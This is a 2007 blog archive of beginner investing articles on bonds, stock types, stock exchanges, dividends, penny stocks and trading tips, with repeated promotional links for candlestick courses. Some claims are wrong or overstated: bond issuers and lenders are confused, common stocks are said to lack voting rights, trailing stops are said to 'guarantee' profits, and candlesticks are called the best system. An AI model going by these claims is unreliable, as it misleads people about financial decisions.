There is no one “best” or “right” way to pick stocks. Stock picking can be called a form of art, but has also been referred to as a science. No matter what you call it, the facts remain the same. Understanding the stock market basics, sticking to your strategy and doing your research are imperative to successful trading.  All that you can do is apply what you have learned, theories, strategies, techniques, etc.  You must do this by following the stock trading plan that you have developed and you must stick to it.  Don’t let greed and fear motivate your actions and diversify your stock portfolio.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 16, 2007
Bonds in Their Basic Form
A bond in its simplest explanation is a loan provided in the form of a security. In other words, it is a debt security in which the issuer loans the borrower the money, the lender stipulates how much is lent and also what the agreed upon interest rate and term of the loan will be.  The incentive (return on investment) for the issuer is that the borrower not only promises to pay back the principal loan amount, but must also pay back any interest accrued throughout the term of the loan.  They are typically issued for a fixed-term (known as the maturity), for a time frame of over ten years, and is usually sold in set increments of approximately $1,000. They are also known as fixed income securities because the amount of income produced every year is set when it is sold. They are seen as very attractive to one of many different investment options to both lenders and to borrowers.

Listed below are four types of bonds available to the investor.


Treasuries – bonds sold by the U.S. government’s treasury department through the Bureau of Public Debt. Treasuries are based on the maturity (ranging from 3 months to 30 years) and the amount of the interest paid.  They contain no state or local taxes on the interest paid by the borrower.

Corporate Bonds– these will typically carry higher interest rates since corporations carry the risk of going bankrupt, unlike the government who has the power to print more money if needed. They sell debt similar to how they sell stock which is through the public securities markets. They do however have to work to provide competitive interest rates in order to attract investors. When exploring investing options, it is helpful to also know stock market basics and how investing in securities differs from trading stocks.

State and Local Government Municipal Bonds
– These are interesting because they contain a combination of both characteristics of those listed above. State and local governments do not have the power to print money if needed so in order for them to offer competitive interest rates, they must raise taxes. Since that is such an unpopular method to citizens, the federal government permits them to waive state and local income taxes on them. This works for both the borrower and the issuer because borrowers in high tax brackets typically have a higher after-tax yield and it is more appealing to the borrower. Participating in and understanding the types of securities available to investors leads you toward asset allocation, which in turn help you to build a strong portfolio.

Foreign Bonds – These are difficult to buy in that you cannot go directly to the foreign government like you can when purchasing securities through the U.S. Treasury.  It is also difficult because they are in limited supply with even the largest firms and a lot of online brokerage firms don’t even sell them. In addition there is usually a commission and/or high mark-up associated with buying these securities.

When building your investment portfolio it is important to understand the techniques involved.  Portfolio diversification will provide protection of your portfolio through protection of your assets. Listed below are several fundamental investment strategies you can perform to attain the desired results.

Laddering – a diversification strategy that involves the purchasing of bonds with various maturities. Investors do this in order to reduce your portfolio’s sensitivity to an interest rate risk. It involves an assortment of securities with maturities distributed over time in order to control your rate of return.

Bond swapping – strategy investors use to build a strong portfolio. This is done for multiple reasons some of which are to change maturities, upgrade the credit quality of your portfolio, and/or to increase your current income. Swapping is the simultaneous sale of one security with the purchase of another security.

Barbell – this investing strategy involves the investment in securities of more than one maturity in order to limit any risk associated with fluctuating prices. This differs from laddering in that the investor’s goal is to focus on holdings with maturities varying from long to short-term notes set to mature in six months, one year, and 20 to 30 year bonds.

Bonds vs. Stocks

Stocks and bonds are both securities however the difference is that stock holders (also known as shareholders) actually own a part (shares) of the issuing company, whereas securities holders are seen more as lenders. Bonds are typically purchased by investors since they are considered a low investment risk and are more straight forward in that you can find out how financially stable the issuer is by knowing their rating. Stocks typically do not have a defined maturity either unlike securities who do have set period of time before they can be redeemed.

It is very important to understand the investment basics before buying stock as opposed to buying bonds.  Understanding the differences between them will lead investors to conduct better investing.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 13, 2007
Stocks and Bonds
Introduction to Stocks and Bonds

Picking a good mix of stocks and bonds is the most basic forms of investing however, it is very difficult. The purpose of investing in bonds is to provide a steady stream of income.  The purpose behind investing in stock is to have the potential for long-term growth.  When investing in stocks and bonds it is important to develop and implement an investing strategy so that you can build a strong portfolio.

What are stocks?
To understand the difference between stocks and bonds, it is important to first understand the definition of stock. Shares of stock are the smallest unit of ownership that you can have in a company.  Owning shares in a company’s stock makes you part owner of the company.  This means that you have the right to vote regarding matters within the company such as who will be on the board of directors and other matters of similar significance. The value of that corporation’s stock will typically reflect the earnings experience of that particular firm, going up during periods of profitability and down during periods of loss. The higher the risk, the greater the potential for return. When considering investing in stocks and bonds it is important to understand that there is also limited liability that comes with stock ownership. This is because creditors only work directly with the company so they cannot come after shareholders. The worst that can happen is the company’s stock loses its value.

When investing in stocks and bonds, you must know that there are two types of stocks. These include common stocks and preferred stocks.

Common Stocks – As the name implies, common stocks are the typical investment asset in any company. While they don’t possess dividend rights or voting privileges, common stocks make up for it with profit potential. The fortunes that are made, and lost, in the stock market are usually made on the backs of common stocks.
Preferred Stocks – This form of shares offers some limited benefits to its holders. Holders of preferred stocks usually receive dividends; dividends are paid as a form of returning a portion of the company’s profits to the shareholders. Preferred stocks tend to be slow, stable investments that likely won’t net the holder great sums of many but will likely be a steady performer in a stock portfolio.

When studying the difference between stocks and bonds one must also understand the difference between blue chip stock and small cap stocks.

Blue Chip Stocks: Issues of companies who are well establish in their industry and who also have a reputation of producing earnings and paying stock dividends over a long period of time.
Small Cap Stocks: Issues of companies that are not as established, but have the potential for enormous growth for those successful companies. For those that do not perform well, however, means the potential for a decrease in the value of the stock producing a low return on investment.

What are bonds?

Now that you know the definition of stock, it will now be easier to understand the difference between stocks and bonds as explained here. When you purchase a bond, you are lending money to an issuer, and in return for that loan, the issuer promises to pay you a specific rate of interest during the life of the bond.  This is paid out by the issuer when the bond matures in order to repay the face value of the bond, otherwise known as the principal. When investing is stocks and bonds, it is important to note that bonds tend to be predictable in nature enabling you to count on a nice stream of payments and repayment of principal.  Issuers of bonds can include corporations, the government, municipalities, federal agencies or other entities.  Types of bonds can include municipal bonds, corporate bonds, U.S. government securities, federal agency securities, foreign government bonds, and mortgage and asset bonds. Now that you understand the difference between stocks and bonds, it is important to understand why investing in both leads to better investing.

Stocks and Bonds, why both?
Financial advisors will tend to recommend that investors maintain a portfolio consisting of stock and bonds, and cash in varying percentages in order to establish good portfolio diversification. Before you begin investing in stocks and bonds, be sure to understand the types of stocks and bonds available to you, as well as the risks associated.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 9, 2007
Joint Stock Company
A joint stock company is a type of business that falls between what is known as a partnership and a corporation. Certificates of ownership or dividend stocks are issued by the company in return for each contribution made by shareholders. The capital is formed by contributions made by shareholders who are allowed to transfer their ownership interest at any point in time by selling their shares to others. In a joint stock company, stockholders are liable for company debts as well.

A partnership is an organization in which two or more individuals manage the business and both owners are equally liable for debts from the business. A corporation is a legal entity that is separate from its owners and its shareholders have the right to participate in the profits through stock dividends and the appreciation of stock. A corporation is different from a joint stock company in that shareholders for a corporation are not liable for the company’s debts. Its members are also called shareholders in that every member has some shares in the business dependent upon the total amount of capital contributed by that member. (Understanding the basics of stock market investing should help you when reading this article.)

There are two kinds of a joint stock company including a private company and a public company. In a private company, the shares are not for sale on the stock market and the total membership cannot exceed 50 individuals.The shares are not allocated to its members and are not freely transferable between them. The public company offers it shares on the open market and they are listed in the stock exchange. A public company requires a minimum of seven members and there is no set maximum allowed membership. Unlike the private company, the shares allocated to the members are freely transferable. The private companies can also raise funds from the general public by selling it shares or accepting fixed deposits, unlike the private company.

There is also third type of joint stock company in Britain called a guarantee company. This company is formed by societies and organizations for charitable reasons. In a guarantee company no shares are issued and there is no profit to be distributed. The formation of the concept of the joint stock company can be traced back to medieval times in Europe when large amounts of wealth in Europe were controlled by corporate entities. The most prevalent were church lands which controlled a substantial portion of the land in Western Europe. This concept was also a common practice in Italian maritime states in that the operation of ships was funded by dividing the funding of the construction of these ships into a number of shares. The owners of these shares (who would now be referred to as shareholders) were responsible for funding the voyages and dividing up the profits made as a result of these voyages. This investment philosophy along with many investment strategies were also formed as a result of the joint stock company.

There are many advantages of a joint stock company including limited liability held by the members. The members are only responsible for the extent of the value of the shares held by them. As a result this encourages the owners to take more of an investment risk because many people will invest due to the limited liability. A joint stock company is also able to collect a large amount of capital made by small contributions from a large group of people, and it also offers employment to a large number of people. Another advantage is that is often has the resources to product large-scale production. This is a direct result of the fact again, that it has a relatively large amount of capital.

There are many positive characteristics of a joint stock company however they are very difficult to form.  The formation of it is a very complicated procedure that is highly regulated by the government, thus allowing for heavy penalties for non-compliance. For these reasons and more, the joint stock company is suitable for a business which involves a very high level of risk.  You may want to research further the characteristics of a joint stock company if you are interested in investing in stock.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 6, 2007
Retained Earnings

Retained earnings are the sum of a company’s profits after stock dividends payments have been made to shareholders. When a company generates a profit, management has the option of doing one of two things:  They can pay the profit out as a cash dividend to shareholders or they can retain the earnings and reinvest them into the business.  The purpose of retained earnings is to either maintain existing operations or to increase profits by growing a business. This will depend on the money management of the company in that some may be forced to spend this type of earnings on maintenance of the company or equipment, or some may be able to use the capital to grow.

The total retained earnings must be accounted for on the balance sheet under Shareholder Equity for every company and is reported during the earnings season. The goal of executives is to create one dollar in market value for every one dollar in retained earnings.  The balance sheet reporting this information is what investors will use to track how much money has been invested back into the company over a period of time. This will tell you how wisely executives of that company are investing the shareholders’ money.  You can also look at the retained earnings statement that summarizes changes in earnings for a fiscal period, as well as the projected earnings estimates.

It is very important to understand this type of earnings as either asset purchases made by a company or liability reductions.  It is important to understand as well that these earnings are not surplus cash or cash left over from payment of dividends. When you invest in a company, you will want to understand how you will get the highest return on your shares or rather the highest return on investment. Retained earnings demonstrate what a company’s dividend stocks policy is in that the company will either reinvest profits or pay them out to shareholders.  If the company has any chance of growing, however, it must be able to retain earnings and invest them in business ventures that will generate more earnings.

The purpose of these earnings should be to enhance the company’s value thus increasing the amount of shares in a shareholders stock portfolio.  Unfortunately, most companies use these earnings to maintain the company, rather than grow the company. There are a couple of methods used to analyze the retained earnings of a company. You can compare the amount of capital retained during a period of time to the change in share price during that time, or you can compare the retained earnings per share to profit per share over a specific period of time. You also need to evaluate the effectiveness of the company’s management team by understanding how it uses retained capital which will show you how much market value has been added to the company’s retention of capital.  When you have inspiring market value gain it means that the investors will trust management to uncover value from capital retained by the business.

It is important to note that if a company accumulates earnings beyond reasonable needs of the business, it may be subject to an accumulated earnings tax.  This tax is in addition to the income tax of a corporation.  Some examples of accumulated retained earnings considered “reasonable” includes business needs such as expansion, product liability loss reserves, debt, working capital supplier or customer needs. Some examples of “unreasonable” business needs include the company providing funds for investments unrelated to the activities of the business, expenses for personal benefit of the shareholders, and to avoid tax on dividend distributions. In fact, the existence of a tax avoidance purpose will immediately trigger the accumulated earnings tax. Companies must be careful to avoid investing errors that would be deemed as “unreasonable.”

In conclusion, measuring the ability of management (with companies with a long history) to retain capital profitably is imperative to value stock investing. Investors must also look at how much capital is kept from shareholders in addition to how much profit is seen by shareholders. Retained earnings information is reported on the balance sheet. Once you understand how to read the balance sheet you will be steps closer to investing in stock!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 2, 2007
Trading Stock Online

Trading stock online has become the most attractive way to trade stocks.  It is no longer necessary to call on a stock broker to sell or buy stock now that most households in America potentially have a computer.  The information age has granted us knowledge immediately by the click of a button, that at one time was not so readily available.  Trading stock online is a commodity that the average Joe (or Jane) can now entertain if he or she devotes the time and discipline required.

In order to be successful at trading stock online, it is imperative that you are extremely disciplined in your approach, have sufficient time (and money of course) and are very, very, patient.  Anyone can open a trading account, but the best traders are able to trade in the stock market successfully without fear.  Once you have obtained the ability to trade without fear, the sky is the limit!  Obviously, first, you must understand the stock market basics when trading stock online.

Once you have invested in your stock market investing education and chosen your stock trading system, keep a few things in mind when trading stock online. No trading system will provide wins all of the time. Understand that you will lose, but don’t let that instill the fear.  Timing combined with discipline is crucial so that you do not attempt to overtrade in hopes of winning even bigger.  You want to balance by minimizing any potential loss by knowing and watching the signals so that you “get out” when it is time. Trading stock online successfully takes time and it is important to maintain a positive attitude while being clear in your goals and the investing strategy that you choose to follow.  Trading stock online is a very slow process that one must pursue in order to be successful. It is will not be a quick get rich process but will take money and education combined with mental preparation.

When you are ready to being trading stock online, it is very important to decide how much you will invest and you must be able to manage your overall finances successfully.  Funding is a vital piece in that your capital base will decide the outcome of your trading venture.  Your money management should accommodate potential (inevitable) loss and your funding base need to be large. Trading stock online also requires that you select an online brokerage firm that matches your trading style.  If you are a day trader, this will be the most expensive when it comes to broker fees and additional costs.  Day trading also requires high speed internet access. Long-term traders can use less costly discount brokers.

It is important to match your lifestyle and your trading style when trading stock online. Day trading means that you will be on your computers for hours at a time, while longer term online stock trading, means that that you will be on your computer much less (for purposed of trading). Try to find a stock trading method that provides you will high-reward, with what you consider low-risk.  Try paper trading for one year to learn how you can win consistently for one year.  Risk management is vital to successfully trading stock online and must be done in order to not avoid, but rather control that inevitable stock market risk.

There are many online sources available to you for education in trading stock online, such as stock market for dummies sources, and stock market investing 101 resources.  Be sure to also do your research regarding the mental preparation needed on all facets of trading stock online.  Some of these we mentioned above such as patience, timing, discipline and most importantly dealing with greed and fear.  Greed and fear have an overwhelming power over all participants involved in the trading in the stock market.  Harnessing the emotions and qualities above will put you well on your way to trading stock online successfully.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 30, 2007
London Stock Exchange

London Stock Exchange:

The London Stock Exchange lists over 3,000 companies and is the most international of all of the exchanges with 350 of the 3,000 companies coming from 50 different countries.  London is one of the top locations for finance in the world and is the United Kingdom’s primary center for business. The other financial institution based in London, besides the London Stock Exchange, is the London International Financial Futures and Options Exchange. The United Kingdom has low taxes and follows a free market model making it ideal for lots of investors.  In recent times, the different stock exchanges around the globe are combining or buying stakes in each other to meet the needs of their clients. Clients are demanding to trade stock of companies anywhere in the world in order to build a strong portfolio.  They want to do this everywhere in the world and do it faster and cheaper across different asset classes.

The NASDAQ, over the past couple of years has been very strategic in its attempt to take over the London Stock Exchange by bidding on it in April of 2006. The LSE rejected the bid which prompted the NASDAQ to acquire a unit of Ameriprise Financial, which is the LSE’s largest Shareholder.  In addition, the NASDAQ purchased 2.69 million additional shares in an attempt to force the LSE to negotiate. Needless to say, this investing strategy did not work and the NASDAQ announced in August of this year (2007) the abandonment of their plan to take over the London Stock Exchange.

The London Stock Exchange can trace it roots to the 1600’s when two voyages were in need of financing. The trade in shares began when two companies raised money to finance their voyage through the selling of shares to merchants. In return these companies would give these merchants, who were willing to take an investment risk, the right to a portion of any potential profits made, as a result of their voyage.  Trading and investing soon after took place in two coffee shops located near the City’s Change Alley.  One of the coffee shops burnt down in the mid 1700’s which prompted the building of the “Stock Exchange” actual building located on Threadneedle Street.  It is also stated that the original concept of the LSE originated in 1760 when 150 brokers set up a club to buy and sell shares after they were fired from the Royal Exchange for misconduct. Currently the London Stock Exchange resides on Paternoster Square close to St. Paul’s Cathedral as of 2004. 

It was not until 1973 that Women were admitted into the London Stock Exchange. After years of campaigning by women in the financial sector, equality was finally admitted in February of 1973 and ten women were elected as members of the LSE.  Another significant point in time occurred in 1986 when stock trading was first carried out via computer and via telephone rather than face-to-face on the stock market floor. The London Stock Exchange is now of course completely electronic, but shares are traded on different systems.  The SETS system is used to trade highly liquid shares and the SEAQ system is used for securities that trade less regularly.  The SETS system is automated in that an order is automatically executed when a buy and sell stock price match.  The SEAQ system was implemented for market makers that keep the shares liquid to ensure that there is always a market for the stock.

The London Stock Exchange consists of two distinctive stock markets.  The Main Market is one of the stock markets with very strict listing requirements and is only for well established, high performing companies. About 1,800 of the London Stock Exchange’s company listings trade on the Main Market with the total market capitalization over 3,500 billion.  The other stock market on the LSE is the Alternative Investment Market (AIM). It obviously trades mostly new enterprises with potential for growth and trades small cap stocks. There are over 1,000 companies listed on this market with a total capitalization of 37 billion.

The London Stock Exchange is ranked fourth in terms of the market capitalization following behind the New York Stock Exchange (number one), the Tokyo Stock Exchange (second), and the NASDAQ (third), and continues to make its mark in the stock market game.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 26, 2007
American Stock Exchange

The American Stock Exchange launched in 1842 and can be traced back to the colonial times when stock brokers created outdoor markets to trade new government securities. The stock hand signals were created as a result of curb brokers displaying lists of stocks for sale on Broad Street near Exchange Place.  It became so loud during the trading hours that hand signals had to be developed so that brokers could communicate effectively.  It was in 1921 that The American Stock Exchange was moved inside a building on 86 Trinity Place, Manhattan, where the hand signals are used to this day when trading stocks.  Trading still takes place in this location today and the building was declared a National Historic Landmark in the late 70’s.

The American Stock Exchange is the third largest stock exchange in the United States and manages 10% of all American trades.  It follows behind the New York Stock Exchange (NYSE) and the National Association of Securities Dealers Automated Quotations (NASDAQ). The AMEX in known for options trading, trading small cap stocks, and exchange traded funds and it lists companies from a wide variety of industries from companies of all different sizes.
The American Stock Exchange trades more than 900 issues on its primary list and it trades options on 30 broad-based sector indexes.  The AMEX also trades more than 1,000 domestic and foreign stocks and is the primary marketplace in the U.S. for equities and derivative securities.   The AMEX is also known to have the least strict listing requirements of all three top American exchanges.  As a result of this, many small companies join this exchange.

The American Stock Exchange started as an alternative to the NYSE and is owned by the NASD (National Associate of Securities Dealers).  In 1998, the parent company of the NASDAQ purchased the AMEX and combined their markets while continuing to operate as separate entities.  Again, the AMEX is known for having the most liberal policies in the stock market regarding company listing and has a larger representation of stocks and bonds issued by smaller companies than the NYSE. The AMEX stemmed from brokers who started meeting on the curb outside of the NYSE to trade stock that did not meet the strict requirements of the Big Board. 

The American Stock Exchange is an auction market that specializes in trading and investing of structured securities and exchange-traded funds. The AMEX carries out is business on the trading floor through the use of brokers and specialists. Each security that is traded on the floor of the American Stock Exchange is handled by a specialist whose job is to conduct successful trading by bringing together buyers and sellers. This is performed to make certain that a fair market price is obtained from both parties. The specialist if also responsible for making sure that the market remains liquid through the buying and selling from the specialist’s own account. The broker’s job is to bring the orders to different specialists on behalf of their clients.

In the American Stock Exchange, “margin buying” is a common practice. The customer investing in stock pays part of the purchase price of his or her securities and then borrows the balance from his or her broker. The stock that the investor buys is used as collateral for the loan.  If the stock drops to the point where its value looks to potentially be inadequate to cover the loan, then both the investor and broker have an issue. The broker would then call for more margin funds in order to decrease the loan to a point comparable to the new, lower value of the stock. The broker might also sell him out if the customer is unable to meet the selling calls.

The American Stock Exchange provides continuous services to its clients, including luncheon seminars and conferences to provide access to thousands of retail brokers and stock portfolio managers. To be a company listed on the AMEX today means great visibility and analyst coverage, greater liquidity, and a strengthened tendency for major institutions to hold its shares.  The national recognition is also a benefit and is actually measured by the increase in the number of large brokerage firms holding shares for their accounts. The American Stock Exchange also provides a report that focuses on the different groups of listed companies. This report is issued bimonthly to provide information to investment professionals who are most likely playing the stock market.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 23, 2007
Investing Advice

Investing Advice – Tip #1
Diversify Immediately
Even if you are only investing $500, it is important to not put all of your money into one stock. The importance of portfolio diversification cannot be stressed enough. Three stocks at least (or one mutual fund) should suffice in your first purchase. If you are going the high-risk, small-cap route with one of your investments, be sure that the rest of your investment (at least 50%) is invested in one to two larger, more reputable companies that are in different sectors than your small-cap find.  This bit of investing advice should aid in a favorable return on investment.

Investing Advice – Tip #2:
Investor Discipline
One important investing strategy is knowing when to sell. Anybody can buy stock. Trailing stops take the guessing out of investing and guarantee that both your profits and your principal are always protected.

Investing Advice – Tip #3:
Invest in Money Market Accounts
When putting your money into a savings account, investment basics tell you that money market accounts generally pay more than regular savings accounts, but the interest rates can fluctuate a little more. Institutions offering money market accounts, for your money management, usually have minimum amounts that can be deposited and also have a minimum dollar amount required to open an account.

Investing Advice – Tip #4:
Re-evaluate Current Trading Strategies

Becoming complacent about your investment philosophy is foolish. Continually evaluate and test additional trading options. What works in one market environment may fall flat in another.

Investing Advice – Tip #5:
How much do I Invest?

When starting investing it is important to determine what level of investment you should commit to. Be realistic and don’t invest too much. With your money in investment accounts you cannot liquidate without adverse tax consequences. Good investing advice will also tell you not to invest too little either or you may not achieve your investment goals. It is common for financial planners to suggest holding anywhere from three to six months of salary in a savings account before putting any money into investments.  The investment risk you choose is determined by your comfort level.

Investing Advice –Tip #6:
Retirement Investing
If your job offers a 401K or other retirement savings plans, be sure to take advantage. Employers will match your contributions up to a certain percentage and you can quickly build up a significant amount in savings. Contributions are usually taken out of your check before taxes and are figured on a percentage basis. Remember also that your contributions increase as your pay increases.

Investing Advice – Tip #7:
Invest without Emotion

Don’t let ego or fear get in the way of investing wisely.  It is important to keep the company’s financial health, investment fundamentals, earnings growth, and cash flow constantly in check. Be sure to continuously evaluate the company you chose to invest in to ensure it is still a strong investment. Do this even as its share price fluctuates, which it inevitably will.

Investing Advice – Tip #8:
Stocks are Unpredictable
Another way to buy stock is through investing in low cost mutual funds.  You can participate in several stocks within a fund in exchange for a small fee, while also reducing your risk. Investment options, such as this, are great for those that are risk adverse in nature

Investing Advice – Tip #9:
Limit Your Losses
Most experienced investors utilize stop loss strategies specifically where they sell a stock if it drops more than a specified amount. This ensures that no single investment will drastically weaken your strong portfolio.

Investing Advice – Tip #10:
Invest in Yourself
Sooner or later, one way or the other, you will pay for an investment education. Whether your education is from a carefully chosen instruction course, or poorly chosen investment strategies, is entirely up to you. Be sure you do significant research if you are interested in getting into playing the stock market game.

Investing Advice – Tip #11
:
Know “What” you are buying and “Why”
If you are buying distressed stock in a company that has a threat of going bankrupt, be sure you understand that you may lose all of your money. If you are buying stocks in a company because you think it is undervalued, be sure to understand why you think the company will not go bankrupt. It is also important to evaluate that stock over a period of time equal to about three years to see if you still think it is undervalued.

Investing Advice – Tip #12:
Develop a Stock Trading System
This goes hand-in-hand with the next one. A stock trading system is a method of charting and analyzing stock movements in order to determine when to buy and sell. The best trading system available is Japanese Candlesticks and the Candlestick Forum is the best place to learn it.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 19, 2007
Dividend Stocks

Dividend Stocks: Basic information to get you started.

Dividends are an additional amount that an investor receives when the stocks or bonds that they are invested in perform well enough so that they can give a profit to the company the dividend stocks were issued from. Many companies pay dividends based on a portion of their profits, which is that portion divided up among those who have invested it in their stock. These companies do this to share their profits with those who buy stock and help them stay in business and as a thank you to their investors. Please understand the basic stock investing concepts when researching dividend stocks.

Dividend stocks are less volatile due to the fact that companies that pay out cash result in investors more willing to hold dividend stocks through bear markets. Dividend stocks tend not to rise as quickly as non-dividend stocks during roaring bull markets.  Dividend stocks also do not fall as far as rapidly as non-dividend stocks. Investors are now looking for downside protection due to slow economic growth.

Dividends are paid on earnings per share meaning the more shares of a particular stock that you have the more you will receive when dividends are paid. This normally occurs quarterly, during earnings season, and when businesses report earnings and profits or losses on dividend stocks. Some dividends are paid on certain bonds or other investment options that are done through a money market account. These dividends are a form of interest for the investment. In most cases, dividends are paid into a money market account so that you can withdraw them reinvest them.

Dividend stocks get favorable tax treatment. Thanks to a change in a tax law in May, 2003, most dividend stocks are taxed at only 15%, however, previously, dividends were hit at full income-tax rates. This means that investors may get additional current income from a high-yielding dividend stock than they would in a money market account or a COD (Certificate of Deposit) as part of their investing strategy. The tax change has generated savings for individuals so far totaling roughly $30 billion. When the tax break expires in 2008, some investors project that it may be stretched out longer. This should provide savings to investors that will exceed and estimated $100 billion.

Dividend stocks dividend yield: The dividend yield is a company's subsequent 12-month dividend(s) divided by the company’s current share price. Higher payouts increase the yield and the dividend hike usually increases the share price. Companies whose stock price history demonstrates strong dividend growth are typically committed to continuing that strategy. Do your research on dividend stocks to find out which companies do not consistently increase dividends because they prefer to use their spare cash for other reasons.

Please note that high-yielding stocks are high because many investors see them as risky, and as a result, are not always the preferred choice. You want the dividend stocks high, but not too high of a stock market risk.  Buying pressure will often push the share price up only until the yield drops back down closer to more realistic market sectors stock rates. Some investors will set their maximum acceptable dividend yield at 5 percent, as a guideline. Others will push to a maximum of 8 percent for riskier dividend stocks.

Reinvesting dividends is a relatively easy way to make additional income off of dividend stocks (a particular stock) or investment.  The investment is doing well enough to be paying dividends, and the reinvestment means that you have more of the stock than you did previously. It is also just as wise to choose not to reinvest your stock dividends. This is most likely true when you are holding a balance in your money market account to take advantage of a high interest rate that's being paid to it. It is also true when you are receiving dividends from short-term investments that you plan to cash out soon.

Right now is not the time to wage heavily on banks when dealing with dividend stocks. Strong banks have been fine dividend-payers in recent years, however with rising interest rates, mortgage profit margins are pinched, and the demand for new mortgages is decreased. It is proving okay, however, to work with small or regional banks which have proven to provide outstanding strong profits from servicing and making home mortgages.

There are many additional resources you can utilize when beginning investing in the stock market. Please be sure to do your research!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 16, 2007
Penny Stock Investing

Penny Stock Investing has many definitions depending on the source.  Generally speaking, penny stocks are defined as any stock that is trading under the price of $5.00 per share and that is traded either on pink sheets or on the NASDAQ. Stockbrokers define them as any stock that trades below $5 per share and regulatory agencies generally define them as any stock with a price below $2. Never the less, when penny stock investing, an investor can make, and then lose money very quickly considering how easily a change by even .05 cents can relate to the overall value of a stock. This factor is what makes choosing a good quality penny stock with a high potential for return on investment very important.

Tips and General Information Regarding Penny Stock Investing

1) You must create your own personal list of 10-20 penny stocks with those stocks that you think have the most potential. This will enable you to manage and monitor your penny stock portfolio.

2) When penny stock investing, part of your stock trading plan, it to be sure to look for positive single day movers with a higher than average volume. Look out for those companies that are developing new technology, products, or services, that will fare well in the marketplace in comparison to their competitors when stock trading.

3) You can also look for good stock charts to trade, in addition to looking for good companies to trade. Look at the stock price history including strong stock chart patterns of increasing value or potential value, when penny stock investing. Penny stocks that have a history of odd trading patterns and activity will most likely not sell in the stock market due to their unpredictable nature.

4) When penny stock investing some available stocks to trade are included in the Pink sheet stocks and the OTCBB (Over the Counter Big Board). These penny stocks are most likely new companies rolling-out new products.  Once they are established, these stocks will move on to one of the major markets.  Stocks that trade in the major markets are more than likely stocks from companies that have little growth potential or are companies that are losing money in regards to penny stock investing. To summarize, most publicly traded companies that are now listed on one of the major stock exchanges (NASADAQ, AMEX, NYSE) were penny stocks listed on the Pink Sheets or Bulletin Board at one time.  Please, however, be cautious to avoid investing mistakes when penny stock investing via the pink sheets and OTCBB.  Scam artists will typically scout out eager investors vetting on the fact that they these stock exchanges do not have strict reporting requirements.

5) When penny stock investing be sure to get a hold of a company's current financial status as part of your stock research. A company with no debt (or a small amount of debt) that also shows a pattern of rising profit margins is one stock that you want to add to your list of 10-20 when penny stock investing. You should also find out how many shares the company has in its float, and if the product that the company is going to sell is patented? A patent will prevent other companies from producing the same product, thus effecting competition and consumer demand.

6) Regarding the scam artists mentioned above for penny stock investing, be cautious of emails offering the latest in hot stock market tips or emails announcing modern breakthroughs in medicine. The tactic for these scammers is to bet on enough people buying into these low stocks to increase the stock prices. Then they turn around and sell these hot stocks for a profit. Get yourself a strong spam blocker!

Just remember that penny stock investing while considered a low-priced issue is still a high risk investing strategy. Never put all of your money is one stock and do your research!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


October 9, 2007
Investing Strategy

Investing Strategy Information for Beginner Investors

Investing Strategy #1

Start Small
Beginning investing in the stock market online requires that you start with a small amount of money to see what happens to it for six months to a year. During that time you will find out if the company that you are using to trade stock, communicates efficiently, manages your money wisely, and gives you a contented feeling for your financial future. Then you can add more money to the account once you are comfortable with you investing strategy.

Investing Strategy #2

Learn the Majority Strategy & Do the Opposite!
Listen to the recommendations of your financial consultant and watch investment shows. After you do this, be sure that you do the complete opposite of their investing strategy. The best way to invest is to buy asset classes and buy stock when nobody is talking about them, and then sell them when everyone is talking about them. Life as well as the basics of stock market investing is all about the timing. Your financial consultants may tell you that market timing is near impossible, but learning what asset classes and stocks are positioned to take off every year really takes a small amount of time and dedication. The reason that financial consultants tell you it is impossible is because they just don’t dedicate the time required to do the research for this investing strategy.

Investing Strategy # 3

Have a Diversified Portfolio
While portfolio diversification could be considered a part of your stock trading plan, its value to an investor is so high that it should be considered an investment basic by itself. A diversified stock portfolio is an excellent way for an investor to protect his or her holdings, especially when those holdings include growth stocks or speculative investments. For example, if you have invested $10,000 equally between 2 companies and one of them fails, you have lost half of your investment. If you have invested the same $10,000 equally in 20 companies and one of them fails, you have only lost 5% of your investment. While this is a simple example, the result is clear; a diversified portfolio creates a shelter that will protect you by keeping your investments spread over many different companies or stock sectors. Of course you don’t have to invest equally in each company you hold; this is something that you can decide based on the investment approach that you defined in your stock trading investing strategy.

Investing Strategy #3

Research the Broker
Possibly the most important investing strategy includes researching your broker. Go online to look into a brokerage firm’s performance as displayed in online reviews of their internet and communication businesses. Online brokers that are connected to banks or businesses, apart from online sales, offer at little more accountability and safety. Ensure that brokers keep their promises and consistently offer acceptable service when providing online stock trading services. Just remember that anyone can set up a website.

Investing Strategy #4

Sell to the Fear
